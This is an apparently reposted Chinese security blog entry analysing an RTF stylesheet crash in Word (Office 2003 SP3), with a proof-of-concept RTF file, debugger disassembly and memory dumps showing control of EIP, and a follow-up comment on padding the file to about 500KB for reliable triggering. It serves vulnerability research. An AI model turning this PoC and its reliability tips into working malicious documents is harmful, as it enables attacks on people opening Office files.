注册
登录
| 关键词： nbsp 00 stylesheet 0010 001B 78 指令 30 EAX ESI |
这个doc的要利用有一定难度: poc如下: {\rtf1\ansi\ansicpg409\deff0\deflang1033 {\fonttbl{\f0\fmodern\fprq6\fcharset0 DOTUM;}} {\stylesheet\stylesheet\stylesheet\stylesheet\.........\stylesheet.................{hi.baidu.com/wordexp\par }} 出错指令: :u 30cffca0 l 20 001B:30CFFCA0 8B06 MOV EAX,[ESI] --->here 001B:30CFFCA2 51 PUSH ECX 001B:30CFFCA3 56 PUSH ESI 001B:30CFFCA4 C745F010000000 MOV DWORD PTR [EBP-10],00000010 001B:30CFFCAB FF501C CALL [EAX+1C] ---->and here 001B:30CFFCAE F645F401 TEST BYTE PTR [EBP-0C],01 001B:30CFFCB2 5F POP EDI 001B:30CFFCB3 7406 JZ 30CFFCBB 001B:30CFFCB5 81CB00000200 OR EBX,00020000 001B:30CFFCBB 5E POP ESI 001B:30CFFCBC 8BC3 MOV EAX,EBX 001B:30CFFCBE 5B POP EBX 001B:30CFFCBF C9 LEAVE 分析: :d esi l 4 0010:00189BD0 B0 78 3F 01 B0 78 3F 01-B0 78 3F 01 B0 78 3F 01 .x?..x?..x?..x?. :d eax l 160 0010:013F78B0 66 00 69 00 6C 00 65 00-3A 00 2F 00 2F 00 2F 00 f.i.l.e.:./././. 0010:013F78C0 43 00 3A 00 5C 00 44 00-6F 00 63 00 75 00 6D 00 C.:.\.D.o.c.u.m. 0010:013F78D0 65 00 6E 00 74 00 73 00-25 00 32 00 30 00 61 00 e.n.t.s.%.2.0.a. 0010:013F78E0 6E 00 64 00 25 00 32 00-30 00 53 00 65 00 74 00 n.d.%.2.0.S.e.t. 0010:013F78F0 74 00 69 00 6E 00 67 00-73 00 5C 00 53 00 63 00 t.i.n.g.s.\.S.c. 0010:013F7900 7A 00 5C 00 4C 68 62 97-5C 00 6D 00 73 00 30 00 z.\.Lhb.\.m.s.0. 0010:013F7910 78 00 2D 00 30 00 78 00-78 00 5C 00 6D 00 73 00 x.-.0.x.x.\.m.s. 0010:013F7920 30 00 39 00 2D 00 30 00-78 00 78 00 25 00 32 00 0.9.-.0.x.x.%.2. 0010:013F7930 30 00 43 00 56 00 45 00-2D 00 32 00 30 00 30 00 0.C.V.E.-.2.0.0. 0010:013F7940 39 00 2D 00 78 00 78 00-78 00 78 00 25 00 32 00 9.-.x.x.x.x.%.2. 0010:013F7950 30 00 73 00 74 00 79 00-6C 00 65 00 73 00 68 00 0.s.t.y.l.e.s.h. 0010:013F7960 65 00 65 00 74 00 5C 00-00 00 78 00 70 00 2E 00 e.e.t.\...x.p... 0010:013F7970 64 00 6F 00 63 00 00 00-00 00 00 00 00 00 00 00 d.o.c........... 出错时 eip=006d0075 测试版本:office 2003 sp3 11.8169.8172(更新一些的比如82xx也行,应该还是0day) ---------------------------鬼仔注：原地址评论部分---------------------------------- 有好几个朋友发消息说POC不能成功,是这样子的 {\rtf1\ansi\ansicpg409\deff0\deflang1033 {\fonttbl{\f0\fmodern\fprq6\fcharset0 DOTUM;}} {\stylesheet\stylesheet\stylesheet\stylesheet\stylesheet{hi.baidu.com/wordexp\par }} 那个\stylesheet要加很多个,整个文件的大小达到500KB左右就能 比较稳定的在文章中所说的指令出错,如果POC比较小可能在其它 指令出错. |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
